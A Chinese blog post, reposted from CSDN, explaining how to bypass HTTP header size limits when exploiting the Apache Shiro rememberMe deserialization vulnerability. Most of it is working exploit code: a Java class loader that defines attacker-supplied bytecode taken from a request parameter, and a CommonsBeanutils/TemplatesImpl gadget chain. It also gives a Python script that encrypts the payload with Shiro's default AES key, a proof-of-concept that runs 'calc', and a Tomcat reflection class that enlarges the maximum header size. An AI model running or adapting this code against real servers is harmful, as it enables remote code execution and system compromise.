0


shiro的payload长度限制绕过

一、背景

yishiro反序列化漏洞常规利用点在数据包的header头中,在这里直接插入目标代码,生成的payload是很长的,肯定会超过中间件 header 长度限制,如何解决这个问题呢?

主要绕过的方式有以下几种:

  • 1.从外部或从 HTTP 请求 body 中加载类字节码,header头中的payload仅仅实现读取和加载外部字节码的功能   
    
  • 2.反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize   
    
  • 3.class bytes使用gzip + base64压缩编码
    

测试环境:

shiroMemshell/springboot-shiro at master · yyhuni/shiroMemshell · GitHub

GitHub - HolaAsuka/Shiro550withSpringboot: Manual recurrence of Shiro550 with Springboot

方法一:从外部或从 HTTP 请求 body 中加载类字节码

1.构造请求头中的类加载器

  • 新建项目修改pom,添加如下两个依赖,一个是tomcat的,一个是springframework的。
    
<dependencies>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.50</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-web</artifactId>
        <version>2.5</version>
    </dependency>
</dependencies>
  • 构造header头的类构造器
    
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            //获取到当前请求的request对象
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            //反射获取request对象的request参数
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            //获取当前request的response对象
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            //获取当前request的session对象
            javax.servlet.http.HttpSession session = request.getSession();
            //获取当前request对象的请求参数classData
            String classData=request.getParameter("classData");
            //将获取到的classData里面的内容base64解码成byte[]对象
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            //类加载器反射获取defineClass方法,这里调用的方法是defineClass(byte[] b, int off, int len)
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            //defineClassMethod调用执行
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            //将执行结果传入到request、response、session三个对象
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}
  • 编译获取class文件
    

2.构造CB链进行序列化

代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiroPayload{
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        //1.构造TemplatesImpl对象,其中code就是读取第一步构造好的类加载器。
        byte[] code = Files.readAllBytes(Paths.get("C:\\tools\\fuxian\\bianyi\\target\\classes\\MyClassLoader.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //2.实例化BeanComparator,其中comparator的部分就用我们找到的替换类
//            BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        //3.实例化优先队列PriorityQueue,如下因为我们上面comparator是String类型,所以在add的时候要用String类型的字符串。
        PriorityQueue queue = new PriorityQueue(2,comparator);
        queue.add(1);
        queue.add(1);

        //4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        //5.序列化到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(queue);
        oos.close();
    }
}
  • 执行完之后获取到序列化好的test.bin文件
    

3.构造rememberMe字段内容

  • 通过以往的构造payload的exp.py代码如下,    **将如上制作好的test.bin复制到这个exp.py同目录下**
    
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    # test.bin为编译好的序列化链的内容
    data = get_file_data("test.bin")
    print(aes_enc(data))

  • 复制b' '之间的内容到burpsuite的cookie中rememberMe字段中备用。
    

4.构造字节码代码执行文件

  • 此处为了验证可以执行外部字节码内容,我们构造一个弹计算器的payload如下:   -       此处遇到一个坑,如果写static静态函数来代码执行的话,会一直报错,提示      **java.lang.InstantiationException: CalcTest,**网上查找原因是因为反射调用invoke的时候需要执行无参构造函数的,所以这里直接写了无参构造函数。
    
#CalcTest
public class CalcTest {
    public CalcTest() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}
  • 将其编译
    
javac CalcTest.java
  • 获取其base64编码内容
    
cat CalcTest.class |base64|sed ':label;N;s/\n//;b label'

  • 将如上base64编码的内容复制到burpsuite中,作为calssData的值,在发送请求,即可执行字节码中的内容,弹出计算器。
    

方法二:反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize

代码如下:(还未实践)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                  // 10000 为修改后的 headersize
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                         // 10000 为修改后的 headersize
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
标签: java spring 安全

本文转载自: https://blog.csdn.net/Thunderclap_/article/details/128932553
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。

“shiro的payload长度限制绕过”的评论:

还没有评论